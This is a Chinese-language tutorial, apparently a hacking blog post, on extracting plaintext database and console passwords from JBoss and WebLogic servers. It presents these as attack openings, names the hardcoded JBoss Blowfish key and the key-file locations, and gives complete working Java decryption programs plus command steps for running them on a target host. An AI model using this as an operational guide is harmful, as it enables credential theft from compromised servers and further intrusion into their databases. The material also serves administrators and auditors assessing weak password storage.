現在越來越多的站喜歡用java語言的框架做web應用了,這里應用有很多大型站點經常采用jboss或者weblogic做web服務器。出于安全原因,他們都提供把數據源連接密碼以及web服務器后臺密碼加密的功能,jboss用的是blowfish,weblogic舊版的加密算法一般為3DES,新版的則都是AES。
這幾種加密算法都是可逆的,因為在web服務器連接到數據庫的時候還是要把密碼解密成明文之后發過去或者和challenge運算的,所以我們有了兩個突破口,第一個就是,解密后的明文密碼必然保留在內存中,如果把web服務器的內存空間dump下來分析是肯定可以找到明文密碼的,這個方法在前段時間hip發的memory forensic文章里有涉及到。第二個方法就是,調用服務器程序自身的解密函數,讓它把明文echo出來。
jboss的數據庫連接密碼一般存在
%JBOSS_HOME%\server\%appname%\deploy
下面的各種xml里面,比如oracle的是oracle-ds.xml,mysql是mysql-ds.xml…… 在沒有加密的情況下,密碼是這么保存的:
<jndi-name>OracleDS</jndi-name> //jndi名字
<use-java-context>false</use-java-context>
<connection-url>jdbc:oracle:thin:@localhost:1521:orcl</connection-url> //URL地址
<driver-class>oracle.jdbc.driver.OracleDriver</driver-class> //驅動
<user-name>root</user-name> //用戶名
<password>123456</password> //密碼
在配置完密碼加密后,這個文件里要么沒有username和password,要么被comment掉了。下面多了個EncryptDBPassword
加密后的密碼存在jboss目錄的conf/login-config.xml文件里:
<application-policy name="EncryptDBPassword">
<authentication>
<login-module code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">
<module-option name="username">admin</module-option>
<module-option name="password">5dfc52b51bd35553df8592078de921bc</module-option>
<module-option name="managedConnectionFactoryName">jboss.jca:name=PostgresDS,service=LocalTxCM</module-option>
</login-module>
</authentication>
</application-policy>
5dfc52b51bd35553df8592078de921bc就是加密后的密文了,有的時候前面還有個符號,也是密文的一部分。
jboss用來加密的key是明文硬編碼在jboss源碼里的,key是jaas is the way
解密過程:
找個能編譯java的環境或者在線的java編譯執行網站:編譯以下代碼:
import java.math.BigInteger;
/*
* JBoss.java - Blowfish encryption/decryption tool with JBoss default password
* Daniel Martin Gomez <daniel @ ngssoftware.com> - 03/Sep/2009
*
* This file may be used under the terms of the GNU General Public License
* version 2.0 as published by the Free Software Foundation:
* http://www.gnu.org/licenses/gpl-2.0.html
*/
import javax.crypto.*;
import javax.crypto.spec.SecretKeySpec;
public class JBoss {
public static void main(String[] args) throws Exception {
if ((args.length != 2) ||
!(args[0].equals("-e") | args[0].equals("-d"))) {
System.out.println(
"Usage:\n\tjava JBoss <-e|-d> <encrypted_password>");
return;
}
String mode = args[0];
byte[] kbytes = "jaas is the way".getBytes();
SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish");
Cipher cipher = Cipher.getInstance("Blowfish");
String out = null;
if (mode.equals("-e")) {
String secret = args[1];
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] encoding = cipher.doFinal(secret.getBytes());
out = new BigInteger(encoding).toString(16);
} else {
BigInteger secret = new BigInteger(args[1], 16);
cipher.init(Cipher.DECRYPT_MODE, key);
byte[] encoding = cipher.doFinal(secret.toByteArray());
out = new String(encoding);
}
System.out.println(out);
}
}
編譯后執行,用 -d參數解密,比如
java JBoss -d 5dfc52b51bd35553df8592078de921bc
就會返回明文密碼。
weblogic要稍微復雜一些,jboss的加密函數是java代碼里面的,但是weblogic是自己寫的,所以解密程序也需要調用weblogic的代碼包。WebLogic 11gR1后采用了AES的加密方式,之前的版本采用的DES加密方式。另外,每個Weblogic app的加密key都是隨機生成的,所以不同服務器甚至同服務器不同應用上的weblogic都是用不同的密碼加密的,這一點上比jboss安全很多。但是,畢竟連數據庫的時候還是要還原,所以還是可以解密的。解密過程如下:
加密key都保存在securitySerializedSystemIni.dat 文件中,比如
weblogic安裝目錄
\user_projects\domains\APPNAME\securitySerializedSystemIni.dat
有些版本是放到security目錄里的,一個應用里面只會有一個這個文件,find一下就找到了。
找到后把它復制到其他的文件夾,比如\tmp下面
在這個文件夾下新建一個java文件,Decrypt.java,名字不能錯,必須和內容的class名字一樣。
import weblogic.security.internal.*;
import weblogic.security.internal.encryption.*;
import java.io.PrintStream;
public class Decrypt {
static EncryptionService es = null;
static ClearOrEncryptedService ces = null;
public static void main(String[] args) {
String s = null;
if (args.length == 0) {
s = ServerAuthenticate.promptValue("Password: ", false);
} else if (args.length == 1) {
s = args[0];
} else {
System.err.println("Usage: java Decrypt [ password ]");
}
es = SerializedSystemIni.getExistingEncryptionService();
if (es == null) {
System.err.println("Unable to initialize encryption service");
return;
}
ces = new ClearOrEncryptedService(es);
if (s != null) {
System.out.println("\nDecrypted Password is:" + ces.decrypt(s));
}
}
}
根據目標的操作系統,在weblogic目錄中找到setWLSEnv.cmd 或者 setWLSEnv.sh 并且執行。執行后會出來一長串環境變量,分別是CLASSPATH和PATH。但是有些情況下這些環境變量沒有加進去,所以還需要執行一下(linux下,windows一般不會出現這個情況)
export $CLASSPATH
如果這個命令執行完也出來一串東西,那就說明環境變量設置正確,如果沒有的話,則需要在shell里手動執行。把之前執行setWLSEnv.sh出來的兩個環境變量分別復制然后 export一下就行。再執行以下export $CLASSPATH確認是否加上了。成功后就可以進行下一步了。
weblogic的數據庫字符串一般存在weblogic下面應用目錄的conf里面,也是xml格式,加密后的密碼格式為
{AES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=
或者
{3DES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=
到之前放Decrypt.java的目錄執行 javac Decrypt.java 然后執行 java Decrypt 加密后密碼,比如
java Decrypt {AES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=
執行完后就會告訴你 Decrypted Password is : weblogic
weblogic的控制臺密碼也是用同樣的方式加密的。